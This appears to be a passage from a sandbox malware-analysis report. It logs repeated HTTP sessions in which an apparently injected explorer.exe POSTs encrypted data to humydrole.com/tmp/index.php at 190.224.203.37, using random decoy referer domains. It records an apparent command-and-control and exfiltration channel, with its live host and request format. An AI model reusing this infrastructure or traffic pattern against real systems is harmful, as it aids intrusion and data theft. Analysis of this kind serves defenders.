Dec 19, 2023 03:23:14.855866909 CET	279	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 75 42 f8 e4 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuuB(Yxg{pC}F90B!Cj; Ay]Wub>()K"f<K}:_*~09/K@Z;inI}9~YM
Dec 19, 2023 03:23:16.026205063 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49769	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:16.339862108 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mwlnxptgeko.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 164 Host: humydrole.com
Dec 19, 2023 03:23:16.346683025 CET	164	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 6e 4b f3 a8 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vunKO^OYGY a2Lj'cJU~(*RWLI6D8AZ$E
Dec 19, 2023 03:23:17.519402027 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:16 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49770	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:17.998317003 CET	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sqivsyojftpvkm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 114 Host: humydrole.com
Dec 19, 2023 03:23:17.998395920 CET	114	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 6e 5a a2 f6 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vunZm:(b6M?
Dec 19, 2023 03:23:19.156445026 CET	238	IN	HTTP/1.1 200 OK Date: Tue, 19 Dec 2023 02:23:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49771	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:19.443492889 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wpdletunxsuos.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 312 Host: humydrole.com
Dec 19, 2023 03:23:19.443557024 CET	312	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 70 3f b8 8d Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vup?2\L`T$Dp,cbwS34Nvs;1uwQ+{\z(5zpG5U5;vrhS]:Ep!<
Dec 19, 2023 03:23:20.621069908 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49772	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:20.907953978 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qwgvuacschpov.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: humydrole.com
Dec 19, 2023 03:23:20.907990932 CET	234	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 6c 4f c8 f6 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vulOo]W9kIX25XaH{3I"]OM6$ec>PTszp T3ZyCb.+1"nMLB-e(z0
Dec 19, 2023 03:23:22.053728104 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49773	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:22.341052055 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qrwcmunknkmno.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: humydrole.com
Dec 19, 2023 03:23:22.341116905 CET	275	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 20 43 a7 eb Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vu CHXlK4YMQ_~;oN#FMM.\I3VZUSNYQGs8d-_]Q/-3GxmCOS:iYxoT
Dec 19, 2023 03:23:23.496452093 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49774	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:23.777111053 CET	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ixrdbnkquprvpl.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 353 Host: humydrole.com
Dec 19, 2023 03:23:23.777147055 CET	353	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 7f 37 fa 86 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vu7~/a@y\|cR<$.=0fj4,EW6<<y%<+m(-r)GFuujcz#`6(uv/}^{5C
Dec 19, 2023 03:23:24.940396070 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49775	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:25.236457109 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rilikeybrjdd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 225 Host: humydrole.com
Dec 19, 2023 03:23:25.236486912 CET	225	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 25 27 f0 ed Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vu%'JFrq$ 0{q4mR095(_!-{\) 2I/8Mym1A\18-On
Dec 19, 2023 03:23:26.411571026 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49776	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:26.695699930 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gcgwpodymbpj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: humydrole.com
Dec 19, 2023 03:23:26.695732117 CET	205	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 2f 2f ed 89 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vu//Qz<Aw%>;Dnh&W".X%0=H2m_4<KqCAdbKx3X
Dec 19, 2023 03:23:27.866535902 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49777	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:28.183916092 CET	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fmndfpfviqnkks.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 227 Host: humydrole.com
Dec 19, 2023 03:23:28.183950901 CET	227	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 5f 2d d1 8b Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vu_-]bb>RR^w. pEz_\[PuzN=[KbW>=c$\]b6^8*}T~vY\|
